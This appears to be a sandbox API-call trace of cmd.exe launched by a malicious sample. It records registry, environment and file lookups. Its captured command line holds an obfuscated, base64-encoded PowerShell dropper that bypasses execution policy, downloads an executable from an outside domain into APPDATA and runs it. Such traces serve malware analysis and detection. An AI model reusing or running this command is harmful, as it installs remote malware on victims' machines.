_Argc=0x4a8d4238, _Argv=0x4a8d4240, _Env=0x4a8d423c, _DoWildCard=0, _StartInfo=0x4a8d4140 | out: _Argc=0x4a8d4238, _Argv=0x4a8d4240, _Env=0x4a8d423c) returned 0 [0046.145] GetCurrentThreadId () returned 0xa2c [0046.145] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xa2c) returned 0x60 [0046.145] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76520000 [0046.145] GetProcAddress (hModule=0x76520000, lpProcName="SetThreadUILanguage") returned 0x7654a84f [0046.145] SetThreadUILanguage (LangId=0x0) returned 0x409 [0046.145] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0046.145] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x20fa04 | out: phkResult=0x20fa04*=0x0) returned 0x2 [0046.145] VirtualQuery (in: lpAddress=0x20fa3b, lpBuffer=0x20f9d4, dwLength=0x1c | out: lpBuffer=0x20f9d4*(BaseAddress=0x20f000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0046.146] VirtualQuery (in: lpAddress=0x110000, lpBuffer=0x20f9d4, dwLength=0x1c | out: lpBuffer=0x20f9d4*(BaseAddress=0x110000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0046.146] VirtualQuery (in: lpAddress=0x111000, lpBuffer=0x20f9d4, dwLength=0x1c | out: lpBuffer=0x20f9d4*(BaseAddress=0x111000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0046.146] VirtualQuery (in: lpAddress=0x113000, lpBuffer=0x20f9d4, dwLength=0x1c | out: lpBuffer=0x20f9d4*(BaseAddress=0x113000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0046.146] VirtualQuery (in: lpAddress=0x210000, lpBuffer=0x20f9d4, dwLength=0x1c | out: lpBuffer=0x20f9d4*(BaseAddress=0x210000, AllocationBase=0x210000, AllocationProtect=0x2, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0046.146] GetConsoleOutputCP () returned 0x1b5 [0046.146] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a8d4260 | out: lpCPInfo=0x4a8d4260) returned 1 [0046.146] SetConsoleCtrlHandler (HandlerRoutine=0x4a8ce72a, Add=1) returned 1 [0046.146] _get_osfhandle (_FileHandle=1) returned 0x7 [0046.146] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0046.146] _get_osfhandle (_FileHandle=1) returned 0x7 [0046.146] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8d41ac | out: lpMode=0x4a8d41ac) returned 1 [0046.146] _get_osfhandle (_FileHandle=1) returned 0x7 [0046.146] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0046.147] _get_osfhandle (_FileHandle=0) returned 0x3 [0046.147] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8d41b0 | out: lpMode=0x4a8d41b0) returned 1 [0046.148] _get_osfhandle (_FileHandle=0) returned 0x3 [0046.148] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0046.148] GetEnvironmentStringsW () returned 0x4427e0* [0046.148] FreeEnvironmentStringsW (penv=0x4427e0) returned 1 [0046.148] GetEnvironmentStringsW () returned 0x4427e0* [0046.148] FreeEnvironmentStringsW (penv=0x4427e0) returned 1 [0046.148] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x20e974 | out: phkResult=0x20e974*=0x68) returned 0x0 [0046.148] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x20e97c, lpData=0x20e980, lpcbData=0x20e978*=0x1000 | out: lpType=0x20e97c*=0x0, lpData=0x20e980*=0x0, lpcbData=0x20e978*=0x1000) returned 0x2 [0046.148] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x20e97c, lpData=0x20e980, lpcbData=0x20e978*=0x1000 | out: lpType=0x20e97c*=0x4, lpData=0x20e980*=0x1, lpcbData=0x20e978*=0x4) returned 0x0 [0046.148] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x20e97c, lpData=0x20e980, lpcbData=0x20e978*=0x1000 | out: lpType=0x20e97c*=0x0, lpData=0x20e980*=0x1, lpcbData=0x20e978*=0x1000) returned 0x2 [0046.149] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x20e97c, lpData=0x20e980, lpcbData=0x20e978*=0x1000 | out: lpType=0x20e97c*=0x4, lpData=0x20e980*=0x0, lpcbData=0x20e978*=0x4) returned 0x0 [0046.149] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x20e97c, lpData=0x20e980, lpcbData=0x20e978*=0x1000 | out: lpType=0x20e97c*=0x4, lpData=0x20e980*=0x40, lpcbData=0x20e978*=0x4) returned 0x0 [0046.149] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x20e97c, lpData=0x20e980, lpcbData=0x20e978*=0x1000 | out: lpType=0x20e97c*=0x4, lpData=0x20e980*=0x40, lpcbData=0x20e978*=0x4) returned 0x0 [0046.149] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x20e97c, lpData=0x20e980, lpcbData=0x20e978*=0x1000 | out: lpType=0x20e97c*=0x0, lpData=0x20e980*=0x40, lpcbData=0x20e978*=0x1000) returned 0x2 [0046.149] RegCloseKey (hKey=0x68) returned 0x0 [0046.149] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x20e974 | out: phkResult=0x20e974*=0x68) returned 0x0 [0046.149] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x20e97c, lpData=0x20e980, lpcbData=0x20e978*=0x1000 | out: lpType=0x20e97c*=0x0, lpData=0x20e980*=0x40, lpcbData=0x20e978*=0x1000) returned 0x2 [0046.149] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x20e97c, lpData=0x20e980, lpcbData=0x20e978*=0x1000 | out: lpType=0x20e97c*=0x4, lpData=0x20e980*=0x1, lpcbData=0x20e978*=0x4) returned 0x0 [0046.149] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x20e97c, lpData=0x20e980, lpcbData=0x20e978*=0x1000 | out: lpType=0x20e97c*=0x0, lpData=0x20e980*=0x1, lpcbData=0x20e978*=0x1000) returned 0x2 [0046.149] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x20e97c, lpData=0x20e980, lpcbData=0x20e978*=0x1000 | out: lpType=0x20e97c*=0x4, lpData=0x20e980*=0x0, lpcbData=0x20e978*=0x4) returned 0x0 [0046.149] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x20e97c, lpData=0x20e980, lpcbData=0x20e978*=0x1000 | out: lpType=0x20e97c*=0x4, lpData=0x20e980*=0x9, lpcbData=0x20e978*=0x4) returned 0x0 [0046.149] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x20e97c, lpData=0x20e980, lpcbData=0x20e978*=0x1000 | out: lpType=0x20e97c*=0x4, lpData=0x20e980*=0x9, lpcbData=0x20e978*=0x4) returned 0x0 [0046.149] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x20e97c, lpData=0x20e980, lpcbData=0x20e978*=0x1000 | out: lpType=0x20e97c*=0x0, lpData=0x20e980*=0x9, lpcbData=0x20e978*=0x1000) returned 0x2 [0046.149] RegCloseKey (hKey=0x68) returned 0x0 [0046.149] time (in: timer=0x0 | out: timer=0x0) returned 0x59e4c1b8 [0046.149] srand (_Seed=0x59e4c1b8) [0046.149] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\" \"/c powershell.exe -ExeCUtIonPolIcY bypass -WINdowSTYLE hiddEn -ENCodedcOMMANd UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAHcAaQBuAGQAbwB3AHMAdAB5AGwAZQAgAG0AaQBuAGkAbQBpAHoAZQBkACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AC0AcwB6AGMAegBlAGMAaQBuAC4AcABsAC8AaQBtAGcAMgAvAHMANQAwAC4AZQB4AGUAJwAsAB0gJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABuAHYAcwBzAC4AZQB4AGUAHSApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAHSAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAG4AdgBzAHMALgBlAHgAZQAdICkA \"" [0046.149] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\" \"/c powershell.exe -ExeCUtIonPolIcY bypass -WINdowSTYLE hiddEn -ENCodedcOMMANd UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAHcAaQBuAGQAbwB3AHMAdAB5AGwAZQAgAG0AaQBuAGkAbQBpAHoAZQBkACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AC0AcwB6AGMAegBlAGMAaQBuAC4AcABsAC8AaQBtAGcAMgAvAHMANQAwAC4AZQB4AGUAJwAsAB0gJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABuAHYAcwBzAC4AZQB4AGUAHSApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAHSAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAG4AdgBzAHMALgBlAHgAZQAdICkA \"" [0046.150] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a8d5260 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop") returned 0x19 [0046.150] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x444858, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0046.151] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a8e0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0046.151] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a8e0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0046.151] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a8e0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0046.151] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0046.151] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0046.151] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0046.151] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0046.151] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0046.151] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0046.151] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0046.151] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0046.151] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0046.151] GetEnvironmentStringsW () returned 0x4427e0* [0046.151] FreeEnvironmentStringsW (penv=0x4427e0) returned 1 [0046.151] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a8e0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0046.151] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a8e0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0046.151] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0046.151] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0046.151] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0046.151] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0046.151] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0046.151] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0046.151] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0046.151] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0046.152] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x20f740 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop") returned 0x19 [0046.152] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x104, lpBuffer=0x20f740, lpFilePart=0x20f73c | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x20f73c*="Desktop") returned 0x19 [0046.152] GetFileAttributesW (lpFileName="C:\\Users\\kFT6uTQW\\Desktop" (normalized: "c:\\users\\kft6utqw\\desktop")) returned 0x11 [0046.152] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x20f4bc | out: lpFindFileData=0x20f4bc) returned 0x4307f0 [0046.152] FindClose (in: hFindFile=0x4307f0 | out: hFindFile=0x4307f0) returned 1 [0046.152] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW", lpFindFileData=0x20f4bc | out: lpFindFileData=0x20f4bc) returned 0x4307f0 [0046.152] FindClose (in: hFindFile=0x4307f0 | out: hFindFile=0x4307f0) returned 1 [0046.152] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", lpFindFileData=0x20f4bc | out: lpFindFileData=0x20f4bc) returned 0x4307f0 [0046.152] FindClose (in: hFindFile=0x4307f0 | out: hFindFile=0x4307f0) returned 1 [0046.152] GetFileAttributesW (lpFileName="C:\\Users\\kFT6uTQW\\Desktop" (normalized: "c:\\users\\kft6utqw\\desktop")) returned 0x11 [0046.152] SetCurrentDirectoryW (lpPathName="C:\\Users\\kFT6uTQW\\Desktop" (normalized: "c:\\users\\kft6utqw\\desktop")) returned 1 [0046.152] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\kFT6uTQW\\Desktop") returned 1 [0046.152] GetEnvironmentStringsW () returned 0x4427e0* [0046.153] FreeEnvironmentStringsW (penv=0x4427e0) returned 1 [0046.153] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a8d5260 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop") returned 0x19 [0046.153] GetConsoleOutputCP () returned 0x1b5 [0046.153] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a8d4260 | out: lpCPInfo=0x4a8d4260) returned 1 [0046.153] GetUserDefaultLCID () returned 0x409 [0046.154] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a8d4950, cchData=8 | out: lpLCData=":") returned 2 [0046.154] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x20f880, cchData=128 | out: lpLCData="0") returned 2 [0046.154] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x20f880, cchData=128 | out: lpLCData="0") returned 2 [0046.154] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x20f880, cchData=128 | out: lpLCData="1") returned 2 [0046.154] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a8d4940, cchData=8 | out: lpLCData="/") returned 2 [0046.154] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a8d4d80, cchData=32 | out: lpLCData="Mon") returned 4 [0046.154] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a8d4d40, cchData=32 | out: lpLCData="Tue") returned 4 [0046.154] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a8d4d00, cchData=32 | out: lpLCData="Wed") returned 4 [0046.154] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a8d4cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0046.154] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a8d4c80, cchData=32 | out: lpLCData="Fri") returned 4 [0046.154] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a8d4c40, cchData=32 | out: lpLCData="Sat") returned 4 [0046.154] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a8d4c00, cchData=32 | out: lpLCData="Sun") returned 4 [0046.154] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a8d4930, cchData=8 | out: lpLCData=".") returned 2 [0046.154] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a8d4920, cchData=8 | out: lpLCData=",") returned 2 [0046.154] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0046.156] GetConsoleTitleW (in: lpConsoleTitle=0x431030, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0046.156] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76520000 [0046.156] GetProcAddress (hModule=0x76520000, lpProcName="CopyFileExW") returned 0x76553b92 [0046.156] GetProcAddress (hModule=0x76520000, lpProcName="IsDebuggerPresent") returned 0x76534a5d [0046.156] GetProcAddress (hModule=0x76520000, lpProcName="SetConsoleInputExeNameW") returned 0x7654a79d [0046.158] _wcsicmp (_String1="powershell.exe", _String2=")") returned 71 [0046.158] _wcsicmp (_String1="FOR", _String2="powershell.exe") returned -10 [0046.158] _wcsicmp (_String1="FOR/?", _String2="powershell.exe") returned -10 [0046.158] _wcsicmp (_String1="IF", _String2="powershell.exe") returned -7 [0046.158] _wcsicmp (_String1="IF/?", _String2="powershell.exe") returned -7 [0046.158] _wcsicmp (_String1="REM", _String2="powershell.exe") returned 2 [0046.158] _wcsicmp (_String1="REM/?", _String2="powershell.exe") returned 2 [0046.162] GetConsoleTitleW (in: lpConsoleTitle=0x20f578, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0046.163] GetFileAttributesW (lpFileName="powershell.exe" (normalized: "c:\\users\\kft6utqw\\desktop\\powershell.exe")) returned 0xffffffff [0046.163] _wcsicmp (_String1="powershell", _String2="DIR") returned 12 [0046.163] _wcsicmp (_String1="powershell", _String2="ERASE") returned 11 [0046.163] _wcsicmp (_String1="powershell", _String2="DEL") returned 12 [0046.163] _wcsicmp (_String1="powershell", _String2="TYPE") returned -4 [0046.163] _wcsicmp (_String1="powershell", _String2="COPY") returned 13 [0046.163] _wcsicmp (_String1="powershell", _String2="CD") returned 13 [0046.163] _wcsicmp (_String1="powershell", _String2="CHDIR") returned 13 [0046.163] _wcsicmp (_String1="powershell", _String2="RENAME") returned -2 [0046.163] _wcsicmp (_String1="powershell", _String2="REN") returned -2 [0046.163] _wcsicmp (_String1="powershell", _String2="ECHO") returned 11 [0046.163] _wcsicmp (_String1="powershell", _String2="SET") returned -3 [0046.163] _wcsicmp (_String1="powershell", _String2="PAUSE") returned 14 [0046.163] _wcsicmp (_String1="powershell", _String2="DATE") returned 12 [0046.163] _wcsicmp (_String1="powershell", _String2="TIME") returned -4 [0046.163] _wcsicmp (_String1="powershell", _String2="PROMPT") returned -3 [0046.163] _wcsicmp (_String1="powershell", _String2="MD") returned 3 [0046.163] _wcsicmp (_String1="powershell", _String2="MKDIR") returned 3 [0046.163] _wcsicmp (_String1="powershell", _String2="RD") returned -2 [0046.163] _wcsicmp (_String1="powershell", _String2="RMDIR") returned -2 [0046.163] _wcsicmp (_String1="powershell", _String2="PATH") returned 14 [0046.163] _wcsicmp (_String1="powershell", _String2="GOTO") returned 9 [0046.163] _wcsicmp (_String1="powershell", _String2="SHIFT") returned -3 [0046.163] _wcsicmp (_String1="powershell", _String2="CLS") returned 13 [0046.163] _wcsicmp (_String1="powershell", _String2="CALL") returned 13 [0046.163] _wcsicmp (_String1="powershell", _String2="VERIFY") returned -6 [0046.163] _wcsicmp (_String1="powershell", _String2="VER") returned -6 [0046.163] _wcsicmp (_String1="powershell", _String2="VOL") returned -6 [0046.163] _wcsicmp (_String1="powershell", _String2="EXIT") returned 11 [0046.163] _wcsicmp (_String1="powershell", _String2="SETLOCAL") returned -3 [0046.164] _wcsicmp (_String1="powershell", _String2="ENDLOCAL") returned 11 [0046.164] _wcsicmp (_String1="powershell", _String2="TITLE") returned -4 [0046.164] _wcsicmp (_String1="powershell", _String2="START") returned -3 [0046.164] _wcsicmp (_String1="powershell", _String2="DPATH") returned 12 [0046.164] _wcsicmp (_String1="powershell", _String2="KEYS") returned 5 [0046.164] _wcsicmp (_String1="powershell", _String2="MOVE") returned 3 [0046.164] _wcsicmp (_String1="powershell", _String2="PUSHD") returned -6 [0046.164] _wcsicmp (_String1="powershell", _String2="POPD") returned 7 [0046.164] _wcsicmp (_String1="powershell", _String2="ASSOC") returned 15 [0046.164] _wcsicmp (_String1="powershell", _String2="FTYPE") returned 10 [0046.164] _wcsicmp (_String1="powershell", _String2="BREAK") returned 14 [0046.164] _wcsicmp (_String1="powershell", _String2="COLOR") returned 13 [0046.164] _wcsicmp (_String1="powershell", _String2="MKLINK") returned 3 [0046.164] _wcsicmp (_String1="powershell", _String2="DIR") returned 12 [0046.164] _wcsicmp (_String1="powershell", _String2="ERASE") returned 11 [0046.164] _wcsicmp (_String1="powershell", _String2="DEL") returned 12 [0046.164] _wcsicmp (_String1="powershell", _String2="TYPE") returned -4 [0046.164] _wcsicmp (_String1="powershell", _String2="COPY") returned 13 [0046.164] _wcsicmp (_String1="powershell", _String2="CD") returned 13 [0046.164] _wcsicmp (_String1="powershell", _String2="CHDIR") returned 13 [0046.164] _wcsicmp (_String1="powershell", _String2="RENAME") returned -2 [0046.164] _wcsicmp (_String1="powershell", _String2="REN") returned -2 [0046.164] _wcsicmp (_String1="powershell", _String2="ECHO") returned 11 [0046.164] _wcsicmp (_String1="powershell", _String2="SET") returned -3 [0046.164] _wcsicmp (_String1="powershell", _String2="PAUSE") returned 14 [0046.164] _wcsicmp (_String1="powershell", _String2="DATE") returned 12 [0046.164] _wcsicmp (_String1="powershell", _String2="TIME") returned -4 [0046.164] _wcsicmp (_String1="powershell", _String2="PROMPT") returned -3 [0046.164] _wcsicmp (_String1="powershell", _String2="MD") returned 3 [0046.164] _wcsicmp (_String1="powershell", _String2="MKDIR") returned 3 [0046.164] _wcsicmp (_String1="powershell", _String2="RD") returned -2 [0046.164] _wcsicmp (_String1="powershell", _String2="RMDIR") returned -2 [0046.164] _wcsicmp (_String1="powershell", _String2="PATH") returned 14 [0046.164] _wcsicmp (_String1="powershell", _String2="GOTO") returned 9 [0046.164] _wcsicmp (_String1="powershell", _String2="SHIFT") returned -3 [0046.164] _wcsicmp (_String1="powershell", _String2="CLS") returned 13 [0046.164] _wcsicmp (_String1="powershell", _String2="CALL") returned 13 [0046.164] _wcsicmp (_String1="powershell", _String2="VERIFY") returned -6 [0046.164] _wcsicmp (_String1="powershell", _String2="VER") returned -6 [0046.164] _wcsicmp (_String1="powershell", _String2="VOL") returned -6 [0046.164] _wcsicmp (_String1="powershell", _String2="EXIT") returned 11 [0046.165] _wcsicmp (_String1="powershell", _String2="SETLOCAL") returned -3 [0046.165] _wcsicmp (_String1="powershell", _String2="ENDLOCAL") returned 11 [0046.165] _wcsicmp (_String1="powershell", _String2="TITLE") returned -4 [0046.165] _wcsicmp (_String1="powershell", _String2="START") returned -3 [0046.165] _wcsicmp (_String1="powershell", _String2="DPATH") returned 12 [0046.165] _wcsicmp (_String1="powershell", _String2="KEYS") returned 5 [0046.165] _wcsicmp (_String1="powershell", _String2="MOVE") returned 3 [0046.165] _wcsicmp (_String1="powershell", _String2="PUSHD") returned -6 [0046.165] _wcsicmp (_String1="powershell", _String2="POPD") returned 7 [0046.165] _wcsicmp (_String1="powershell", _String2="ASSOC") returned 15 [0046.165] _wcsicmp (_String1="powershell", _String2="FTYPE") returned 10 [0046.165] _wcsicmp (_String1="powershell", _String2="BREAK") returned 14 [0046.165] _wcsicmp (_String1="powershell", _String2="COLOR") returned 13 [0046.165] _wcsicmp (_String1="powershell", _String2="MKLINK") returned 3 [0046.165] _wcsicmp (_String1="powershell", _String2="FOR") returned 10 [0046.165] _wcsicmp (_String1="powershell", _String2="IF") returned 7 [0046.165] _wcsicmp (_String1="powershell", _String2="REM") returned -2 [0046.165] _wcsnicmp (_String1="powe", _String2="cmd ", _MaxCount=0x4) returned 13 [0046.166] SetErrorMode (uMode=0x0) returned 0x0 [0046.166] SetErrorMode (uMode=0x1) returned 0x0 [0046.166] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x443290, lpFilePart=0x20f098 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x20f098*="Desktop") returned 0x19 [0046.166] SetErrorMode (uMode=0x0) returned 0x1 [0046.166] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a8e0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0046.166] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0046.170] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a8e0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0046.172] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0046.172] FindFirstFileExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\powershell.exe", fInfoLevelId=0x1, lpFindFileData=0x20ee34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ee34) returned 0xffffffff [0046.172] GetLastError () returned 0x2 [0046.172] FindFirstFileExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\powershell.exe.*", fInfoLevelId=0x1, lpFindFileData=0x20ee14, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ee14) returned 0xffffffff [0046.172] GetLastError () returned 0x2 [0046.172] FindFirstFileExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\powershell.exe", fInfoLevelId=0x1, lpFindFileData=0x20ee14, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ee14) returned 0xffffffff [0046.173] GetLastError () returned 0x2 [0046.173] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0046.173] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\powershell.exe", fInfoLevelId=0x1, lpFindFileData=0x20ee34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ee34) returned 0xffffffff [0046.173] GetLastError () returned 0x2 [0046.173] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\powershell.exe.*", fInfoLevelId=0x1, lpFindFileData=0x20ee14, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ee14) returned 0xffffffff [0046.173] GetLastError () returned 0x2 [0046.173] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\powershell.exe", fInfoLevelId=0x1, lpFindFileData=0x20ee14, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ee14) returned 0xffffffff [0046.173] GetLastError () returned 0x2 [0046.173] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0046.173] FindFirstFileExW (in: lpFileName="C:\\Windows\\powershell.exe", fInfoLevelId=0x1, lpFindFileData=0x20ee34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ee34) returned 0xffffffff 